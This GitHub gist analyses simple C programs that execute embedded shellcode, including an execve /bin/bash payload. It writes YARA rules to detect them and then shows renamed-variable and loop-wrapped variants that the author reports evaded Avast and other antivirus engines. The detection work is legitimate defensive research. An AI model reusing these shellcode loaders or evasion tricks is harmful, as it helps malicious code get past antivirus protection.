Skip to content

Instantly share code, notes, and snippets.

@dmknght
Last active October 11, 2021 11:04
Show Gist options
  • Save dmknght/12643b6feb9109acf0f99e48579ec21c to your computer and use it in GitHub Desktop.
Save dmknght/12643b6feb9109acf0f99e48579ec21c to your computer and use it in GitHub Desktop.
shellcode_excutor_detection_and_bypass.md

I. Info

  • Analysis shellcode execution (excutor?) samples and try to create effectives rules to detect them
  • Understand the method and bypass Before we start:
  1. Backend knowledge
  1. Tools:
  • Rizin and Rizin cutter
  • yara
  1. Resources:

II. Analysis

  • Create file shellcode_local.c. Local is the "local variable"
int main(void){

        char shellcode[] = "\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68";
        ((void (*)())shellcode)();
        return 0;
}
  • Create other file shellcode_global.c.
char shellcode[] = "\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68";

int main(void){
        ((void (*)())shellcode)();
        return 0;
}

Compile 2 files

  • gcc shellcode_local.c -o local and gcc shellcode_global.c -o global Use Cutter to analysis
  1. File local
int main (int argc, char **argv, char **envp);
; var int64_t var_20h @ rbp-0x20
; var int64_t var_18h @ rbp-0x18
; var int64_t var_10h @ rbp-0x10
; var int64_t var_8h @ rbp-0x8
0x00001125                55                                push    rbp
0x00001126                48 89 e5                          mov     rbp, rsp
0x00001129                48 83 ec 20                       sub     rsp, 0x20
0x0000112d                48 b8 eb 0b 5f 48 31 d2 52 5e     movabs  rax, 0x5e52d231485f0beb
0x00001137                48 ba 6a 3b 58 0f 05 e8 f0 ff     movabs  rdx, 0xfff0e8050f583b6a
0x00001141                48 89 45 e0                       mov     qword [var_20h], rax
0x00001145                48 89 55 e8                       mov     qword [var_18h], rdx
0x00001149                48 b8 ff ff 2f 62 69 6e 2f 62     movabs  rax, 0x622f6e69622fffff
0x00001153                48 89 45 f0                       mov     qword [var_10h], rax
0x00001157                c7 45 f8 61 73 68 00              mov     dword [var_8h], 0x687361
0x0000115e                48 8d 55 e0                       lea     rdx, [var_20h]
0x00001162                b8 00 00 00 00                    mov     eax, 0
0x00001167                ff d2                             call    rdx ; 0xffffffffffffffd8(0x0, 0x0, 0xffffffffffffffd8, 0x0)
0x00001169                b8 00 00 00 00                    mov     eax, 0
0x0000116e                c9                                leave
0x0000116f                c3                                ret

In strings, we have

10  0x00001130 0x00001130 4   5    .text     ascii   \v_H1
11  0x0000114d 0x0000114d 7   8    .text     ascii   /bin/bH

=> Shellcode value is pushed to registers 2. File global

int main (int argc, char **argv, char **envp);
0x00001125                55                                push    rbp
0x00001126                48 89 e5                          mov     rbp, rsp
0x00001129                48 8d 15 00 2f 00 00              lea     rdx, shellcode
0x00001130                b8 00 00 00 00                    mov     eax, 0
0x00001135                ff d2                             call    rdx ; obj.shellcode(0x0, 0x0, 0x4030, 0x0)
0x00001137                b8 00 00 00 00                    mov     eax, 0
0x0000113c                5d                                pop     rbp
0x0000113d                c3                                ret
0x0000113e                66 90                             nop

Value of the shellcode is moved to RDX, and then RDX is called. Now here is the interesting part In the export, we are having this.

57  0x00003030 0x00004030 GLOBAL OBJ    28       shellcode

The obj shellcode in disasm. The value belongs to section .data:

;-- shellcode:
0x00004030                eb 0b                             jmp     0x403d
;-- str.H1:
0x00004031                    .string "\v_H1" ; len=5
;-- str.R_j_X:
0x00004036                    .string "R^j;X" ; len=6
0x0000403c                05 e8 f0 ff ff                    add     eax, 0xfffff0e8
0x00004041                ff 2f                             ljmp    [rdi]
;-- str.bin_bash:
0x00004042                    .string "/bin/bash" ; len=10
  1. Thinking about detection method:
  • String matching using shellcode value: We try to use whole shellcode or specific part of shellcodes. This is common method
  • String matching using opcode value: We try to detect the call rdx and lea rdx, shellcode
  1. Try string matching for shellcode value:
  • In file global, the acutal hex value of string of the shellcode is 5f 48 31 d2 52 5e 6a 3b 58 0f 05 e8 f0 ff ff ff 2f 62 69 6e 2f 62 61 73 68. The string \v_H1 is false string parsing of rizin
  • In file local, we have much longer value 5f 48 31 d2 52 5e 48 ba 6a 3b 58 0f 05 e8 f0 ff 48 89 45 e0 48 89 55 e8 48 b8 ff ff 2f 62 69 6e 2f 62 48 89 45 f0 c7 45 f8 61 73 68 In local, we can't use string /bin/bash because it is added with some bytes. So by comparing value of shellcode, we can select
  1. 5f 48 31 d2 52 5e
  2. 6a 3b 58 0f 05 e8 f0 ff Our rule
import "elf"


private rule is_elf {
  condition:
    uint32(0) == 0x464c457f
}

rule shellcode_1
{
  strings:
    $1 = {5f 48 31 d2 52 5e}
    $2 = {6a 3b 58 0f 05 e8 f0 ff}
  condition:
    is_elf and all of them
}
  • Problems:
    • Shellcode is encoded / encrypted / obfuscated?
    • Only global variable and local variable for same shellcode makes differences
    • Effective way to detect all shellcode executor for new samples?
  1. Opcode based signature
  • We can't do this for global and local
  • For same code structure, this method COULD do the work
  • Different compilers generate different opcode (clang and gcc)
  • Junk code, obfucate, encrypt, packing, ....
  • Just a function call to decrypt / deobfus shellcode changes opcode structure

Check AV rewards:

=> Seem like Avast and AVG are using same signatures (In July 2016, Avast reached an agreement to buy AVG for $1.3 billion - google). And let call it Avast engine / signature, so it is very effective signature. Avast and Ikarus are having good signature[s] to detect this shellcode executor. Meanwhile Jiangmin is using string based detection -> Bypassed. Sophos could use string based signature analysis. We don't know yet.

Let's create Hellowworld shellcode and see how it goes

$cat helloworld.c 
char shellcode[] = "\xeb\x19\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x59\x31\xd2\xb2\x12\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xb3\x01\xcd\x80\xe8\xe2\xff\xff\xff\x20\x79\x30\x75\x20\x73\x70\x33\x34\x6b\x20\x31\x33\x33\x37\x20\x3f\x20";

int main(void){
        ((void (*)())shellcode)();
        return 0;
}

https://www.virustotal.com/gui/file/8956a527fe3b078d908876e94ba05abe6b9e32f2b4035da05c178ea2de0390e7?nocache=1 image From the result, we can say Avast, Sophos, Ikarus are not using value of shellcode for signatures

Let's try it again but with local variable

int main(void){
    char shellcode[] = "\xeb\x19\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x59\x31\xd2\xb2\x12\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xb3\x01\xcd\x80\xe8\xe2\xff\xff\xff\x20\x79\x30\x75\x20\x73\x70\x33\x34\x6b\x20\x31\x33\x33\x37\x20\x3f\x20";

        ((void (*)())shellcode)();
        return 0;
}

https://www.virustotal.com/gui/file/2ebfff8f2f5bbbdd592a2256f2ad83849847f0d93ba3f112f9591d1213fcc5c0?nocache=1 image Very impressed result of Ikarus. Meanwhile we can predict Jiangmin is using opcode method or something like that to detect shellcode.

III. Try analysis and bypass

  1. Helloworld (global variable) and global comparison Helloworld exports image Section hashes image
paddr      size  vaddr      vsize align perm name               type       flags         md5                              
--------------------------------------------------------------------------------------------------------------------------
0x00000000 0x0   0x00000000 0x0   0x0   ----                    NULL       
0x000002a8 0x1c  0x000002a8 0x1c  0x0   -r-- .interp            PROGBITS   alloc         91476dafa5ef669483350538fa6ec4cb
0x000002c4 0x24  0x000002c4 0x24  0x0   -r-- .note.gnu.build-id NOTE       alloc         77f41614b4b45d01d1bcda9d2dfce172
0x000002e8 0x20  0x000002e8 0x20  0x0   -r-- .note.ABI-tag      NOTE       alloc         3ac31b2ebb8a59ed3542fd7de044fbeb
0x00000308 0x24  0x00000308 0x24  0x0   -r-- .gnu.hash          GNU_HASH   alloc         af8ceee748df92228d2e848c7c3681ed
0x00000330 0x90  0x00000330 0x90  0x0   -r-- .dynsym            DYNSYM     alloc         e7a551e05e67bac09d1d32f997d5ce2e
0x000003c0 0x7d  0x000003c0 0x7d  0x0   -r-- .dynstr            STRTAB     alloc         5b6b3f56ef6f95e46a9bf7ae7f80222c
0x0000043e 0xc   0x0000043e 0xc   0x0   -r-- .gnu.version       VERSYM     alloc         86e4ec45cd3837351090335e877b8e8d
0x00000450 0x20  0x00000450 0x20  0x0   -r-- .gnu.version_r     VERNEED    alloc         0cf3b2cad5b0f72385f00fa56146b068
0x00000470 0xc0  0x00000470 0xc0  0x0   -r-- .rela.dyn          RELA       alloc         6b02ca3d18bf6f0913fa44af7f1478ef
0x00001000 0x17  0x00001000 0x17  0x0   -r-x .init              PROGBITS   alloc,execute 602977ffd492373b1e7a14e7f3d820c9
0x00001020 0x10  0x00001020 0x10  0x0   -r-x .plt               PROGBITS   alloc,execute 2752c84c8f6a811de72f6d98302954a2
0x00001030 0x8   0x00001030 0x8   0x0   -r-x .plt.got           PROGBITS   alloc,execute 173216e9d00b3ee00d56f41089077018
0x00001040 0x161 0x00001040 0x161 0x0   -r-x .text              PROGBITS   alloc,execute 87c245d9fcdbd458ef02a23211976ef6
0x000011a4 0x9   0x000011a4 0x9   0x0   -r-x .fini              PROGBITS   alloc,execute c0ebd410fb9cd5628270064c1ed937ed
0x00002000 0x4   0x00002000 0x4   0x0   -r-- .rodata            PROGBITS   alloc,merge   99ffb3d9eeadc24aa4f9b13530176bf8
0x00002004 0x3c  0x00002004 0x3c  0x0   -r-- .eh_frame_hdr      PROGBITS   alloc         70b06a8dfad5ad4d09ff2564bfd158f1
0x00002040 0x108 0x00002040 0x108 0x0   -r-- .eh_frame          PROGBITS   alloc         0bbd610c922b90d34a8e8b34f25c7f2d
0x00002e18 0x8   0x00003e18 0x8   0x0   -rw- .init_array        INIT_ARRAY write,alloc   265f09aed82dac4136bf3be4dca3dc5f
0x00002e20 0x8   0x00003e20 0x8   0x0   -rw- .fini_array        FINI_ARRAY write,alloc   92c9165a9d7de240e241f671418f94d5
0x00002e28 0x1b0 0x00003e28 0x1b0 0x0   -rw- .dynamic           DYNAMIC    write,alloc   c580a4a8e3c0eca748d69655a73b1740
0x00002fd8 0x28  0x00003fd8 0x28  0x0   -rw- .got               PROGBITS   write,alloc   fd4b38e94292e00251b9f39c47ee5710
0x00003000 0x18  0x00004000 0x18  0x0   -rw- .got.plt           PROGBITS   write,alloc   90bccfb637d4c56377cc57c0e904c79f
0x00003020 0x53  0x00004020 0x53  0x0   -rw- .data              PROGBITS   write,alloc   7f5f0bec8ae255f96cee485c6f64a26b
0x00003073 0x0   0x00004073 0x5   0x0   -rw- .bss               NOBITS     write,alloc
0x00003073 0x27  0x00000000 0x27  0x0   ---- .comment           PROGBITS   merge,strings 060ee9719872cacdcfc1d1d7d62630cd
0x000030a0 0x5e8 0x00000000 0x5e8 0x0   ---- .symtab            SYMTAB                   6df322b7bf6e86ff89328b804ddbc0c4
0x00003688 0x1fb 0x00000000 0x1fb 0x0   ---- .strtab            STRTAB                   63f1654bd8ea97fb14ec58be900a574d
0x00003883 0xfd  0x00000000 0xfd  0x0   ---- .shstrtab          STRTAB                   6d9ac67b9e75e09c0d68037ec9d7afdf 

Function Main disasm

int main (int argc, char **argv, char **envp);
0x00001125                55                                push rbp
0x00001126                48 89 e5                          mov  rbp, rsp
0x00001129                48 8d 15 10 2f 00 00              lea  rdx, shellcode
0x00001130                b8 00 00 00 00                    mov  eax, 0
0x00001135                ff d2                             call rdx ; obj.shellcode(0x0, 0x0, 0x4040, 0x0)
0x00001137                b8 00 00 00 00                    mov  eax, 0
0x0000113c                5d                                pop  rbp
0x0000113d                c3                                ret
0x0000113e                66 90                             nop

(Hex parsing) $hex_1125 = { 55 48 89 e5 48 8d 15 10 2f 00 00 b8 00 00 00 00 ff d2 b8 00 00 00 00 5d c3 66 90 } Compare to global Section hashes image

paddr      size  vaddr      vsize align perm name               type       flags         md5                              
--------------------------------------------------------------------------------------------------------------------------
0x00000000 0x0   0x00000000 0x0   0x0   ----                    NULL       
0x000002a8 0x1c  0x000002a8 0x1c  0x0   -r-- .interp            PROGBITS   alloc         91476dafa5ef669483350538fa6ec4cb
0x000002c4 0x24  0x000002c4 0x24  0x0   -r-- .note.gnu.build-id NOTE       alloc         4b11c058ad84a4ba510fefdaa7975ec1
0x000002e8 0x20  0x000002e8 0x20  0x0   -r-- .note.ABI-tag      NOTE       alloc         3ac31b2ebb8a59ed3542fd7de044fbeb
0x00000308 0x24  0x00000308 0x24  0x0   -r-- .gnu.hash          GNU_HASH   alloc         af8ceee748df92228d2e848c7c3681ed
0x00000330 0x90  0x00000330 0x90  0x0   -r-- .dynsym            DYNSYM     alloc         e7a551e05e67bac09d1d32f997d5ce2e
0x000003c0 0x7d  0x000003c0 0x7d  0x0   -r-- .dynstr            STRTAB     alloc         5b6b3f56ef6f95e46a9bf7ae7f80222c
0x0000043e 0xc   0x0000043e 0xc   0x0   -r-- .gnu.version       VERSYM     alloc         86e4ec45cd3837351090335e877b8e8d
0x00000450 0x20  0x00000450 0x20  0x0   -r-- .gnu.version_r     VERNEED    alloc         0cf3b2cad5b0f72385f00fa56146b068
0x00000470 0xc0  0x00000470 0xc0  0x0   -r-- .rela.dyn          RELA       alloc         6b02ca3d18bf6f0913fa44af7f1478ef
0x00001000 0x17  0x00001000 0x17  0x0   -r-x .init              PROGBITS   alloc,execute 602977ffd492373b1e7a14e7f3d820c9
0x00001020 0x10  0x00001020 0x10  0x0   -r-x .plt               PROGBITS   alloc,execute 2752c84c8f6a811de72f6d98302954a2
0x00001030 0x8   0x00001030 0x8   0x0   -r-x .plt.got           PROGBITS   alloc,execute 173216e9d00b3ee00d56f41089077018
0x00001040 0x161 0x00001040 0x161 0x0   -r-x .text              PROGBITS   alloc,execute c25446de0e7c9d48451f46be5805bfcb
0x000011a4 0x9   0x000011a4 0x9   0x0   -r-x .fini              PROGBITS   alloc,execute c0ebd410fb9cd5628270064c1ed937ed
0x00002000 0x4   0x00002000 0x4   0x0   -r-- .rodata            PROGBITS   alloc,merge   99ffb3d9eeadc24aa4f9b13530176bf8
0x00002004 0x3c  0x00002004 0x3c  0x0   -r-- .eh_frame_hdr      PROGBITS   alloc         70b06a8dfad5ad4d09ff2564bfd158f1
0x00002040 0x108 0x00002040 0x108 0x0   -r-- .eh_frame          PROGBITS   alloc         0bbd610c922b90d34a8e8b34f25c7f2d
0x00002e18 0x8   0x00003e18 0x8   0x0   -rw- .init_array        INIT_ARRAY write,alloc   265f09aed82dac4136bf3be4dca3dc5f
0x00002e20 0x8   0x00003e20 0x8   0x0   -rw- .fini_array        FINI_ARRAY write,alloc   92c9165a9d7de240e241f671418f94d5
0x00002e28 0x1b0 0x00003e28 0x1b0 0x0   -rw- .dynamic           DYNAMIC    write,alloc   c580a4a8e3c0eca748d69655a73b1740
0x00002fd8 0x28  0x00003fd8 0x28  0x0   -rw- .got               PROGBITS   write,alloc   fd4b38e94292e00251b9f39c47ee5710
0x00003000 0x18  0x00004000 0x18  0x0   -rw- .got.plt           PROGBITS   write,alloc   90bccfb637d4c56377cc57c0e904c79f
0x00003020 0x2c  0x00004020 0x2c  0x0   -rw- .data              PROGBITS   write,alloc   b3872b8063c9edcf369d573a2fb53fda
0x0000304c 0x0   0x0000404c 0x4   0x0   -rw- .bss               NOBITS     write,alloc
0x0000304c 0x27  0x00000000 0x27  0x0   ---- .comment           PROGBITS   merge,strings 060ee9719872cacdcfc1d1d7d62630cd
0x00003078 0x5e8 0x00000000 0x5e8 0x0   ---- .symtab            SYMTAB                   3822a5eeab8c56e893d73d829a650b26
0x00003660 0x201 0x00000000 0x201 0x0   ---- .strtab            STRTAB                   1f93ce3a495d555b007a6edd531c88a1
0x00003861 0xfd  0x00000000 0xfd  0x0   ---- .shstrtab          STRTAB                   6d9ac67b9e75e09c0d68037ec9d7afdf

Function main opcode

$hex_1125 = { 55 48 89 e5 48 8d 15 00 2f 00 00 b8 00 00 00 00 ff d2 b8 00 00 00 00 5d c3 66 90 }

So what do we do now?

  • Select section hash[es] that has / have same value? To do it, deep understanding about ELF file structure is important to select correct section.
  • In global, we have shellcode as exported OBJ. Use it? Need deep understanding about ELF file to write signatures of imports / exports
  • Use opcode (But need heavily check, comparison if we want effective signature like Avast / Ikarus)

Let's try with the Exports.

import "elf"


private rule is_elf {
  condition:
    uint32(0) == 0x464c457f
}

rule Heur_Shellcode_Executor
{
  meta:
    author = "Nong Hoang Tu"
    email = "[email protected]"
    description = "Try to detect shellcode executor by exported \"shellcode\" string"
  condition:
    is_elf and for any i in (0 .. elf.symtab_entries - 1): (
      elf.symtab[i].name == "shellcode" and elf.symtab[i].type == elf.STT_OBJECT
    )
}

Our result:

Heur_Shellcode_Executor ./global
Heur_Shellcode_Executor ./helloworld

This rule detected all shellcode in global variables of us. Same result as Sophos and 1/2 job of Avast (count with our samples ofc). Test with realworld samples, we have

$yara exports_rule.yar ~/Desktop/MalwareLab/LinuxMalwareDetected/
Heur_Shellcode_Executor /home/dmknght/Desktop/MalwareLab/LinuxMalwareDetected//0d9a34fd35ea6aa090c93f6f8310e111f9276bacbdf5f14e5f1f8c1dc7bf3ce5_detected
Heur_Shellcode_Executor /home/dmknght/Desktop/MalwareLab/LinuxMalwareDetected//1962e68fb660852b0646ce054c0ee5a4836d20ed69e45b6c51655ecd73624a8f_detected
Heur_Shellcode_Executor /home/dmknght/Desktop/MalwareLab/LinuxMalwareDetected//254c675a88c9704a7710bc8b43bd98bad9fa1a5339396bc98bc829ffe54507b7_detected
Heur_Shellcode_Executor /home/dmknght/Desktop/MalwareLab/LinuxMalwareDetected//10995106e8810a432ebc487fafcb7e421100eb8ac60031e6d27c8770f6686b4e_detected
Heur_Shellcode_Executor /home/dmknght/Desktop/MalwareLab/LinuxMalwareDetected//4d10236d246bceeb7a8834c9a2f0f4e2184174d81eda5585ea405d7d1c53c635_detected
Heur_Shellcode_Executor /home/dmknght/Desktop/MalwareLab/LinuxMalwareDetected//513b2dbf9b4fe0f93ed193e083ee1bc73010dca15e76e1d6f09b44a9be35a7d6_detected
Heur_Shellcode_Executor /home/dmknght/Desktop/MalwareLab/LinuxMalwareDetected//8e33bf25e0c68ebd8327b755d599172f7b6d61c45553a7c0e97adf4dda70c6b9_detected

Try bypass it:

$cat bypass_shellcode_global.c 
char a_very_random_variable_name[] = "\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68";

int main(void){
        ((void (*)())a_very_random_variable_name)();
        return 0;
}

We did it https://www.virustotal.com/gui/file/419e685e0abd2d6d4e87a49499a5214bc5801b87ae1a107f50bbd6be3a37d220?nocache=1 image

Try with hash of .shstrtab, which is 6d9ac67b9e75e09c0d68037ec9d7afdf Rule

$cat section_hash.yar                  
import "elf"
import "hash"

private rule is_elf {
  condition:
    uint32(0) == 0x464c457f
}


rule Test_section_hash_shellcode_exec {
  meta:
    author = "Nong Hoang Tu"
    email = "[email protected]"  condition:
    is_elf and
    for any i in (0 .. elf.number_of_sections - 1): (
      hash.md5(elf.sections[i].offset, elf.sections[i].size) == "6d9ac67b9e75e09c0d68037ec9d7afdf"
      )
}

Scan test (with test /usr/bin/, no false positive)

$yara section_hash.yar .
Test_section_hash_shellcode_exec ./local
Test_section_hash_shellcode_exec ./global
Test_section_hash_shellcode_exec ./helloworld
Test_section_hash_shellcode_exec ./helloworld_local
Test_section_hash_shellcode_exec ./bypass_shellcode_global

Test with real world malawre

$yara section_hash.yar ~/Desktop/MalwareLab/LinuxMalwareDetected/
Test_section_hash_shellcode_exec /home/dmknght/Desktop/MalwareLab/LinuxMalwareDetected//0d9a34fd35ea6aa090c93f6f8310e111f9276bacbdf5f14e5f1f8c1dc7bf3ce5_detected
Test_section_hash_shellcode_exec /home/dmknght/Desktop/MalwareLab/LinuxMalwareDetected//1962e68fb660852b0646ce054c0ee5a4836d20ed69e45b6c51655ecd73624a8f_detected
Test_section_hash_shellcode_exec /home/dmknght/Desktop/MalwareLab/LinuxMalwareDetected//10995106e8810a432ebc487fafcb7e421100eb8ac60031e6d27c8770f6686b4e_detected
Test_section_hash_shellcode_exec /home/dmknght/Desktop/MalwareLab/LinuxMalwareDetected//254c675a88c9704a7710bc8b43bd98bad9fa1a5339396bc98bc829ffe54507b7_detected
Test_section_hash_shellcode_exec /home/dmknght/Desktop/MalwareLab/LinuxMalwareDetected//0f7838d0c16c24cb3b8ffc3573cc94fd05ec0e63fada3d10ac02b9c8bd95127b_detected
Test_section_hash_shellcode_exec /home/dmknght/Desktop/MalwareLab/LinuxMalwareDetected//513b2dbf9b4fe0f93ed193e083ee1bc73010dca15e76e1d6f09b44a9be35a7d6_detected
Test_section_hash_shellcode_exec /home/dmknght/Desktop/MalwareLab/LinuxMalwareDetected//4d10236d246bceeb7a8834c9a2f0f4e2184174d81eda5585ea405d7d1c53c635_detected
Test_section_hash_shellcode_exec /home/dmknght/Desktop/MalwareLab/LinuxMalwareDetected//6469fcee5ede17375b74557cdd18ef6335c517a4cccfff86288f07ff1761eaa7_detected

Try simulating code obfuscation with local variable of shellcode

$cat bypass_shellcode_local.c
int main(void){

        char axbycx[] = "\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68";
        int i = 0;
        for (i = 0; i < 10; i++) {
          if (i == 5)
          {
            ((void (*)())axbycx)();
          }
        }
        return 0;
}

https://www.virustotal.com/gui/file/43eae940e7bcf3d29fcbb30aba829b01673a09ea3d219f39924a09a19b78c168?nocache=1 image We bypassed Avast -> Avast must use both opcode and export symbols for detection. We bypassed it

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment